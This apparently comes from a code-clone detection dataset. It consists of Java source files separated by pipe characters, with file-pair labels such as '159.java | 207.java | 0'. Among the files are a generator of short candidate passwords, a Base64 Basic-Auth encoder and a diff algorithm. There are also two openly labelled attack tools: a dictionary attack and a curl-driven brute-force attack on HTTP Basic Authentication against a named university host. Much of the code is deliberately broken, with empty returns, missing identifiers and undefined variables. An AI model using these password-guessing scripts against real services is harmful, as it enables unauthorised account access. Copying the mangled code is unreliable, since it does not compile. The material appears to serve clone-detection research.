String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
159.java | 207.java | 0 |
class BasicAuth {
public BasicAuth() {}
private static byte[] cvtTable = {
(byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
(byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
(byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
(byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
(byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
(byte)'Z',
(byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
(byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
(byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
(byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
(byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
(byte)'z',
(byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
(byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
(byte)'+', (byte)'/'
};
static String encode(String name,
String passwd) {
byte input[] = (name + ":" + passwd).getBytes();
byte[] output = new byte[((input.length / 3) + 1) * 4];
int ridx = 0;
int chunk = 0;
for (int i = 0; i < input.length; i += 3) {
int left = input.length - i;
if (left > 2) {
chunk = (input[i] << 16)|
(input[i + 1] << 8) |
input[i + 2];
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = cvtTable[(chunk&0x3F)];
} else if (left == 2) {
chunk = (input[i] << 16) |
(input[i + 1] << 8);
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = '=';
} else {
chunk = input[i] << 16;
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = '=';
output[ridx++] = '=';
}
}
return new String(output);
}
} |
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
127.java | 207.java | 0 |
import java.util.Hashtable;
public class Diff {
public Diff(Object[] a,Object[] b) {
Hashtable h = new Hashtable(a.length + b.length);
filevec[0] = new file_data(a,h);
filevec[1] = new file_data(b,h);
}
private int equiv_max = 1;
public boolean heuristic = false;
public boolean no_discards = false;
private int[] xvec, yvec;
private int[] fdiag;
private int[] bdiag;
private int fdiagoff, bdiagoff;
private final file_data[] filevec = new file_data[2];
private int cost;
private int diag (int xoff, int xlim, int yoff, int ylim) {
final int[] fd = fdiag;
final int[] bd = bdiag;
final int[] xv = xvec;
final int[] yv = yvec;
final int dmin = xoff - ylim;
final int dmax = xlim - yoff;
final int fmid = xoff - yoff;
final int bmid = xlim - ylim;
int fmin = fmid, fmax = fmid;
int bmin = bmid, bmax = bmid;
final boolean odd = (fmid - bmid & 1) != 0;
fd[fdiagoff + fmid] = xoff;
bd[bdiagoff + bmid] = xlim;
for (int c = 1;; ++c)
{
int d;
boolean big_snake = false;
if (fmin > dmin)
fd[fdiagoff + --fmin - 1] = -1;
else
++fmin;
if (fmax < dmax)
fd[fdiagoff + ++fmax + 1] = -1;
else
--fmax;
for (d = fmax; d >= fmin; d -= 2)
{
int x, y, oldx, tlo = fd[fdiagoff + d - 1], tly = fd[fdiagoff + d + 1];
if (tlo >= ylim)
x = tlo + 1;
else
x = ylim;
oldx = x;
y = x - d;
while (x < xlim && y < ylim && xv[x] == yv[y]) {
++x; ++y;
}
if (x - oldx > 20)
big_snake = true;
fd[fdiagoff + d] = x;
if (odd && bmin <= d && d <= bmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
{
cost = 2 * c - 1;
return d;
}
}
if (bmin > dmin)
bd[bdiagoff + --bmin - 1] = Integer.MAX_VALUE;
else
++bmin;
if (bmax < dmax)
bd[bdiagoff + ++bmax + 1] = Integer.MAX_VALUE;
else
--bmax;
for (d = bmax; d >= bmin; d -= 2)
{
int x, y, oldx, tlo = bd[bdiagoff + d - 1], tly = bd[bdiagoff + d + 1];
if (tlo < ylim)
x = tlo;
else
x = - 1;
oldx = x;
y = x - d;
while (x > xoff && y > yoff && xv[x - 1] == yv[y - 1]) {
--x; --y;
}
if (oldx - x > 20)
big_snake = true;
bd[bdiagoff + d] = x;
if (!odd && fmin <= d && d <= fmax && bd[bdiagoff + d] <= fd[fdiagoff + d])
{
cost = 2 * c;
return d;
}
}
if (c > 200 && big_snake && heuristic)
{
int i = 0;
int bestpos = -1;
for (d = fmax; d >= fmin; d -= 2)
{
int dd = d - fmid;
if ((fd[fdiagoff + d] - xoff)*2 - dd > 12 * (c + (dd > 0 ? dd : -dd)))
{
if (fd[fdiagoff + d] * 2 - dd > i
&& fd[fdiagoff + d] - xoff > 20
&& fd[fdiagoff + d] - d - yoff > 20)
{
int k;
int x = fd[fdiagoff + d];
for (k = 1; k <= 20; k++)
if (xvec[x - k] != yvec[x - d - k])
break;
if (k == 21)
{
ylim = fd[fdiagoff + d] * 2 - dd;
bestpos = d;
}
}
}
}
if ( x> 0)
{
cost = 2 * c - 1;
return bestpos;
}
x= 0;
for (d = bmax; d >= bmin; d -= 2)
{
int dd = d - bmid;
if ((xlim - bd[bdiagoff + d])*2 + dd > 12 * (c + (dd > 0 ? dd : -dd)))
{
if ((xlim - bd[bdiagoff + d]) * 2 + dd > i
&& xlim - bd[bdiagoff + d] > 20
&& x - (bd[bdiagoff + d] - d) > 20)
{
int k;
int x = bd[bdiagoff + d];
for (k = 0; k < 20; k++)
if (xvec[x + k] != yvec[x - d + k])
break;
if (k == 20)
{
x = (xlim - bd[bdiagoff + d]) * 2 + dd;
bestpos = d;
}
}
}
}
if (x > 0)
{
cost = 2 * c - 1;
return bestpos;
}
}
}
}
private void compareseq (int xoff, int xlim, int yoff, int ylim) {
while (xoff < xlim && yoff < ylim && xvec[xoff] == yvec[yoff]) {
++xoff; ++yoff;
}
while (xlim > xoff && ylim > yoff && xvec[xlim - 1] == yvec[ ylim- 1]) {
--xlim; --x;
}
if (xoff == xlim)
while (yoff < ylim)
filevec[1].changed_flag[1+filevec[1].realindexes[yoff++]] = true;
else if (yoff == ylim)
while (xoff < xlim)
filevec[0].changed_flag[1+filevec[0].realindexes[xoff++]] = true;
else
{
int d = diag (xoff, xlim, yoff, ylim );
int c = cost;
int f = fdiag[fdiagoff + d];
int b = bdiag[bdiagoff + d];
if (c == 1)
{
throw new IllegalArgumentException("Empty subsequence");
}
else
{
compareseq (xoff, b, yoff, b - d);
compareseq (b, xlim, b - d,ylim );
}
}
}
private void discard_confusing_lines() {
filevec[0].discard_confusing_lines(filevec[1]);
filevec[1].discard_confusing_lines(filevec[0]);
}
private boolean inhibit = false;
private void shift_boundaries() {
if (inhibit)
return;
filevec[0].shift_boundaries(filevec[1]);
filevec[1].shift_boundaries(filevec[0]);
}
public interface ScriptBuilder {
public change build_script(
boolean[] changed0,int len0,
boolean[] changed1,int len1
);
}
static class ReverseScript implements ScriptBuilder {
public change build_script(
final boolean[] changed0,int len0,
final boolean[] changed1,int len1)
{
change script = null;
int i0 = 0, i1 = 0;
while (i0 < len0 || i1 < len1) {
if (changed0[1+i0] || changed1[1+i1]) {
int line0 = i0, line1 = i1;
while (changed0[1+i0]) ++i0;
while (changed1[1+i1]) ++i1;
script = new change(line0, line1, i0 - line0, i1 - line1, script);
}
i0++; i1++;
}
return script;
}
}
static class ForwardScript implements ScriptBuilder {
public change build_script(
final boolean[] changed0,int len0,
final boolean[] changed1,int len1)
{
change script = null;
int i0 = len0, i1 = len1;
while (i0 >= 0 || i1 >= 0)
{
if (changed0[i0] || changed1[i1])
{
int line0 = i0, line1 = i1;
while (changed0[i0]) --i0;
while (changed1[i1]) --i1;
script = new change(i0, i1, line0 - i0, line1 - i1, script);
}
i0--; i1--;
}
return script;
}
}
public final static ScriptBuilder
forwardScript = new ForwardScript(),
reverseScript = new ReverseScript();
public final change diff_2(final boolean reverse) {
return diff(reverse ? reverseScript : forwardScript);
}
public change diff(final ScriptBuilder bld) {
discard_confusing_lines ();
xvec = filevec[0].undiscarded;
yvec = filevec[1].undiscarded;
int diags =
filevec[0].nondiscarded_lines + filevec[1].nondiscarded_lines + 3;
fdiag = new int[diags];
fdiagoff = filevec[1].nondiscarded_lines + 1;
bdiag = new int[diags];
bdiagoff = filevec[1].nondiscarded_lines + 1;
compareseq (0, filevec[0].nondiscarded_lines,
0, filevec[1].nondiscarded_lines);
fdiag = null;
bdiag = null;
shift_boundaries ();
return bld.build_script(
filevec[0].changed_flag,
filevec[0].buffered_lines,
filevec[1].changed_flag,
filevec[1].buffered_lines
);
}
public static class change {
public int change ;
public final int inserted;
public final int deleted;
public final int line0;
public final int line1;
public change(int line0, int line1, int deleted, int inserted, change old) {
this.line0 = line0;
this.line1 = line1;
this.inserted = inserted;
this.deleted = deleted;
this.old = old;
}
}
class file_data {
void clear() {
changed_flag = new boolean[buffered_lines + 2];
}
int[] equivCount() {
int[] equiv_count = new int[equiv_max];
for (int i = 0; i < buffered_lines; ++i)
++equiv_count[equivs[i]];
return equiv_count;
}
void discard_confusing_lines(file_data f) {
clear();
final byte[] discarded = discardable(f.equivCount());
filterDiscards(discarded);
discard(discarded);
}
private byte[] discardable(final int[] counts) {
final int end = buffered_lines;
final byte[] discards = new byte[end];
final int[] equivs = this.equivs;
int many = 5;
int tem = end / 64;
while ((tem = tem >> 2) > 0)
many *= 2;
for (int i = 0; i < end; i++)
{
int nmatch;
if (equivs[i] == 0)
continue;
nmatch = counts[equivs[i]];
if (nmatch == 0)
discards[i] = 1;
else if (nmatch > many)
discards[i] = 2;
}
return discards;
}
private void filterDiscards(final byte[] discards) {
final int end = buffered_lines;
for (int i = 0; i < end; i++)
{
if (discards[i] == 2)
discards[i] = 0;
else if (discards[i] != 0)
{
int j;
int length;
int provisional = 0;
for (j = i; j < end; j++)
{
if (discards[j] == 0)
break;
if (discards[j] == 2)
++provisional;
}
while (j > i && discards[j - 1] == 2) {
discards[--j] = 0; --provisional;
}
length = j - i;
if (provisional * 4 > length)
{
while (j > i)
if (discards[--j] == 2)
discards[j] = 0;
}
else
{
int consec;
int minimum = 1;
int tem = length / 4;
while ((tem = tem >> 2) > 0)
minimum *= 2;
minimum++;
for (j = 0, consec = 0; j < length; j++)
if (discards[i + j] != 2)
consec = 0;
else if (minimum == ++consec)
j -= consec;
else if (minimum < consec)
discards[i + j] = 0;
for (j = 0, consec = 0; j < length; j++)
{
if (j >= 8 && discards[i + j] == 1)
break;
if (discards[i + j] == 2) {
consec = 0; discards[i + j] = 0;
}
else if (discards[i + j] == 0)
consec = 0;
else
consec++;
if (consec == 3)
break;
}
i += length - 1;
for (j = 0, consec = 0; j < length; j++)
{
if (j >= 8 && discards[i - j] == 1)
break;
if (discards[i - j] == 2) {
consec = 0; discards[i - j] = 0;
}
else if (discards[i - j] == 0)
consec = 0;
else
consec++;
if (consec == 3)
break;
}
}
}
}
}
private void discard(final byte[] discards) {
final int end = buffered_lines;
int j = 0;
for (int i = 0; i < end; ++i)
if (no_discards || discards[i] == 0)
{
undiscarded[j] = equivs[i];
realindexes[j++] = i;
}
else
changed_flag[1+i] = true;
nondiscarded_lines = j;
}
file_data(Object[] data,Hashtable h) {
buffered_lines = data.length;
equivs = new int[buffered_lines];
undiscarded = new int[buffered_lines];
realindexes = new int[buffered_lines];
for (int i = 0; i < data.length; ++i) {
Integer ir = (Integer)h.get(data[i]);
if (ir == null)
h.put(data[i],new Integer(equivs[i] = equiv_max++));
else
equivs[i] = ir.intValue();
}
}
void shift_boundaries(file_data f) {
final boolean[] changed = changed_flag;
final boolean[] other_changed = f.changed_flag;
int i = 0;
int j = 0;
int i_end = buffered_lines;
int preceding = -1;
int other_preceding = -1;
for (;;)
{
int start, end, other_start;
while (i < i_end && !changed[1+i])
{
while (other_changed[1+j++])
other_preceding = j;
i++;
}
if (i == i_end)
break;
start = i;
other_start = j;
for (;;)
{
while (i < i_end && changed[1+i]) i++;
end = i;
if (end != i_end
&& equivs[start] == equivs[end]
&& !other_changed[1+j]
&& end != i_end
&& !((preceding >= 0 && start == preceding)
|| (other_preceding >= 0
&& other_start == other_preceding)))
{
changed[1+end++] = true;
changed[1+start++] = false;
++i;
++j;
}
else
break;
}
preceding = i;
other_preceding = j;
}
}
final int buffered_lines;
private final int[] equivs;
final int[] undiscarded;
final int[] realindexes;
int nondiscarded_lines;
boolean[] changed_flag;
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
130.java | 207.java | 0 | import java.net.*;
import java.io.*;
public class Dictionary
{
public Dictionary(String u,String uname) throws Exception
{
URL url=null;
String pass="";
try
{
url=new URL(u);
PasswordAuthentication pa;
MyAuthenticator =new MyAuthenticator();
HttpURLConnection htt ;
BufferedReader in=new BufferedReader(new FileReader(new File("/usr/share/lib/dict/words")));
int c=0;
while((pass=in.readLine()) != null)
{
if(pass.length()<=3)
{
c++;
pa=new PasswordAuthentication(uname,pass.toCharArray());
htt.setPasswordAuthentication(pa);
Authenticator.setDefault();
htt=(HttpURLConnection)url.openConnection();
System.out.println("Try :"+(c)+" password:("+pass+") response message: ("+bf.getResponseMessage()+")");
if(htt.getResponseCode() != 401)
throw new NullPointerException();
htt.disconnect();
}
}
}
catch(MalformedURLException mfe)
{
System.out.println("The URL :"+u+" is not a proper URL.");
}
catch(NullPointerException great)
{
System.out.println("\n\n The password is cracked.\n The password is : "+pass);
}
catch(Exception e)
{
e.printStackTrace();
}
}
public static void main (String[] args) throws Exception
{
if(args.length!=2)
System.out.println("Usage :\n java Dictionary <url> <user-name>");
else
{
System.out.println("Starting the Dictionary Attack : "+args[0]);
new Dictionary(args[0],args[1]);
}
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
253.java | 207.java | 0 |
import java.net.*;
import java.io.*;
import java.String;
import java.*;
import java.util.*;
public class BruteForce {
private static final int passwdLength = 3;
private static String commandLine
= "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
private int charLen = chars.length();
private int n = 0;
private int n3 = charLen*charLen*charLen;
private String response;
private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];
private char[][] data = new char[passwdLength][charLen];
private char[] pwdChar2 = new char[2];
private char[] pwdChar = new char[passwdLength];
private String url;
private int startTime;
private int endTime;
private int totalTime;
private float averageTime;
private boolean finish;
private Process curl;
private BufferedReader bf, responseLine;
public BruteForce() {
first();
finish = true;
charLen = chars.length();
for(int i=0; i<charLen; i++)
for(int j=0; j<passwdLength; j++)
{
data[j][i] = chars.charAt(i);
}
Runtime run = Runtime.getRuntime();
n = 0;
for(int i=0; i<charLen; i++)
{
password[n++] = chars.substring(i,i+1);
}
for(int j=0; j<charLen; j++)
for(int k=0; k<charLen; k++)
{
pwdChar2[0] = data[0][j];
pwdChar2[1] = data[1][k];
password[n++] = String.copyValueOf(pwdChar2);
}
for(int i=0; i<charLen; i++)
for(int j=0; j<charLen; j++)
for(int k=0; k<charLen; k++)
{
pwdChar[0] = data[0][i];
pwdChar[1] = data[1][j];
pwdChar[2] = data[2][k];
password[n++] = String.copyValueOf(pwdChar);
}
n = 0;
startTime = new Date().getTime();
try {
while(true) {
url = commandLine+password[n++];
if(n>=n3) {
System.out.println("\n not find the password for user .");
finish = false;
break;
}
curl = run.exec(url);
responseLine = new BufferedReader(new InputStreamReader(curl.getInputStream()));
response = responseLine.readLine();
if(response.substring(9,12).equals("200")) break;
responseLine = null;
}
}
catch(IOException ioe){
System.out.println("\n IO Exception! \n");
System.out.println("The current url is:"+ url);
System.out.println("The current trying password is:"+password[n-1]);
finish=false;
}
endTime = new Date().getTime();
totalTime = (endTime-startTime)/1000;
System.out.println(" The response time is:"+ totalTime + " seconds\n");
if(finish) {
System.out.println(" The password for is:"+ password[n-1]);
try {
savePassword(password[n-1], totalTime);
}
catch (IOException ioec) {
System.out.println(" not save the password file BruteForce_pwd.txt ");
}
}
}
public void first() {
System.out.println("\n\n---------------------------------------------------------------");
System.out.println(" Use curl command Brute Force the password for user .");
System.out.println(" Attention: curl should able run at your directory");
System.out.println(" without setting the Path for it.");
System.out.println("---------------------------------------------------------------");
}
public void savePassword(String passwdString, int time) throws IOException {
DataOutputStream outputStream = new DataOutputStream(new FileOutputStream("BruteForce_pwd.txt"));
outputStream.writeChars("The password is:");
outputStream.writeChars(passwdString+"\n");
outputStream.writeChars("The response time is: ");
outputStream.writeChars(time1.toString(time));
outputStream.writeChars(" seconds\n");
outputStream.close();
}
public static void main(String[] args) {
new BruteForce();
}
}
|
import java.util.*;
public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;
public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;
for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
v.add( s1);
v.add( s2);
}
}
for( i = 0; i < letters.length; i++)
{
String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
v.add( s3);
}
}
public void loadTriples()
{
int i, j, k;
for( i = 0; i < letters.length; i++)
{
String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
v.add( s4);
}
for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
v.add( s5);
v.add( s6);
v.add( s7);
v.add( s8);
v.add( s9);
v.add( s10);
}
}
for( i = 0; i < letters.length - 2; i++)
{
for( j = i + 1; j < letters.length - 1; j++)
{
for( k = i + 2; k < letters.length; k++)
{
String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
v.add( s11);
v.add( s12);
v.add( s13);
v.add( s14);
v.add( s15);
v.add( s16);
}
}
}
}
public static void main( String[] args)
{
Cracker cr = new Cracker();
cr.loadLetters();
cr.loadPairs();
cr.loadTriples();
System.out.println(" far "+cr.getVictor().size()+" elements loaded");
}
}
|
157.java | 207.java | 0 |
import java.net.*;
import java.io.*;
